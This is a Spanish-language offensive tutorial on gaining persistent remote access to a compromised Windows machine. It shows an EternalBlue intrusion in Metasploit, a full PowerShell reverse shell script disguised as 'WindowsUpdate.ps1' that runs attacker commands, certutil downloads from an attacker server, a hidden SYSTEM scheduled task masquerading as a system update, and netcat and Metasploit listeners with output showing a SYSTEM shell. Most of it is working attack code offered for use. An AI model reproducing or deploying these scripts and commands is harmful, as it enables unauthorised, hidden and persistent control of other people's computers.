Shell Persistente PowerShell
Intrusion a la maquina (Ejemplo)
Primero tendremos que comprometer una maquina windows, por ejemplo pongamos que es vulnerable al Eternal Blue, abriremos metasploit.
msfconsole -qUna vez dentro ejecutamos los siguientes comandos para la intrusion:
use windows/smb/ms17_010_eternalblue
set RHOST <IP_VICTIM>
exploitUna vez que estemos dentro, programaremos los scripts en nuestra maquina atacante...
Scripts para persistencia mediante PowerShell
Codigo WindowsUpdate.ps1 para hacernos la reverse shell desde windows:
while ($true) {
try {
# Intenta conectarse al puerto especificado
$client = New-Object System.Net.Sockets.TcpClient("<IP>", <PORT>)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$reader = New-Object System.IO.StreamReader($stream)
# Escribe una línea indicando la conexión
$writer.WriteLine("Conexión establecida desde $($env:COMPUTERNAME)")
# Bucle de comandos
while ($true) {
# Espera un comando del cliente
$writer.Write("shell> ") # Indica que está listo para recibir un comando
$cmd = $reader.ReadLine()
if ($cmd -eq 'exit') {
$writer.WriteLine("Cerrando conexión...")
break
}
try {
# Ejecuta el comando y captura la salida
$output = Invoke-Expression $cmd 2>&1
# Convierte la salida a cadena y envía de vuelta al cliente
if ($output -is [System.Array]) {
$output = $output -join "`n" # Unir elementos del array en líneas
}
# Envía la salida de vuelta al cliente
if ($output) {
$writer.WriteLine($output)
} else {
$writer.WriteLine("Comando ejecutado correctamente.")
}
}
catch {
# Manejo de errores
$writer.WriteLine("Error: $_")
}
}
# Cierra la conexión
$client.Close()
}
catch {
# Espera 5 segundos antes de volver a intentar si falla
Start-Sleep -Seconds 5
}
}Cambiar <IP> y <PORT> por las necesidades de cada uno.
Despues crear Update.ps1 que sera el que ejecute en bucle el archivo WindowsUpdate.ps1:
while ($true) {
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1
Start-Sleep -Seconds 5
}Pasar scripts a la maquina victima mediante metasploit
Tendremos que pasar esos archivos a la maquina victima, en mi caso lo llevare a C:\Windows\System32 para que se quede bien camuflado.
cd C:\Windows\System32\Si estamos en metasploit con la maquina comprometida podremos subirlos de la siguiente forma:
upload WindowsUpdate.ps1
upload Update.ps1Despues ejecutaremos shell, para obtener la shell de windows.
Pasar scripts a la maquina victima mediante terminal
Imaginemos que no estamos utilizando metasploit lo podremos hacer de esta otra forma...
Primero nos abriremos un servidor de python3.
python3 -m http.serverEn la maquina victima que habremos comprometido de windows con una shell normal, pondremos los sigueintes comandos:
cd C:\Windows\System32\
certutil.exe -f -urlcache -split http://<IP>:8000/WindowsUpdate.ps1 WindowsUpdate.ps1
certutil.exe -f -urlcache -split http://<IP>:8000/Update.ps1 Update.ps1Asi nos pasaremos los 2 archivos a la maquina victima.
Programar persistencia en la maquina victima
Despues en la maquina windows que tenemos comprometida, ejecutaremos el siguiente comando:
schtasks /create /tn "Actualización de Sistema" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1" /sc onstart /ru "SYSTEM" /rl highest /fInfo:
schtasks /create /tn "Actualización de Sistema" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\Update.ps1" /sc onstart /ru "SYSTEM" /rl highest /f
Correcto: se cre correctamente la tarea programada "Actualización de Sistema".Con esto ya habriamos creado la tarea programada en windows, lo comprobaremos de la siguiente forma:
schtasks /query /tn "Actualización de Sistema"Info:
Carpeta: \
Nombre de tarea Hora prxima ejecucin Estado
======================================== ====================== ===============
Actualización de Sistema No disponible Listo Despues probaremos a estar a la escucha en nuestra maquina atacante:
nc -lvnp <PORT>Y en la maquina victima ejecutaremos el siguiente codigo para saber que todo se carga correctamente:
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1Una vez comprobado, ya podremos reiniciar el equipo, hacer lo que queramos, hacerle Ctrl+C a la shell y volver a estar a la escucha para otra vez recuperarla, ya tendremos persistencia.
Escucha mediante terminal
Ahora podremos obtener la shell todas las veces que queramos por que se estara ejecutando cada 5 segundos, por lo que solo tendremos que poner el siguiente comando:
nc -lvnp <PORT>Y todas las veces que pongamos eso nos hara una shell cada 5 segundos, aunque reinicie el sistema y vuelva a ejecutarse windows podremos seguir obteniendola.
Info:
listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [192.168.5.141] 49193
Conexión establecida desde VULN-SMBV2
shell> whoami
nt authority\systemEscucha mediante metasploit
Tambien lo podemos hacer mediante metasploit.
msfconsole -qUna vez dentro ejecutaremos los siguiente comandos:
use multi/handler
set LHOST <IP>
set LPORT <PORT>
runY con esto obtendremos una shell mediante metasploit.
Eliminar la tarea persistente y los scripts
Pondremos los siguientes comandos dentro de la maquina windows:
del WindowsUpdate.ps1
del Update.ps1
schtasks /delete /tn "Actualización de Sistema" /fY con esto ya habriamos dejado limpio el sistema.
Last updated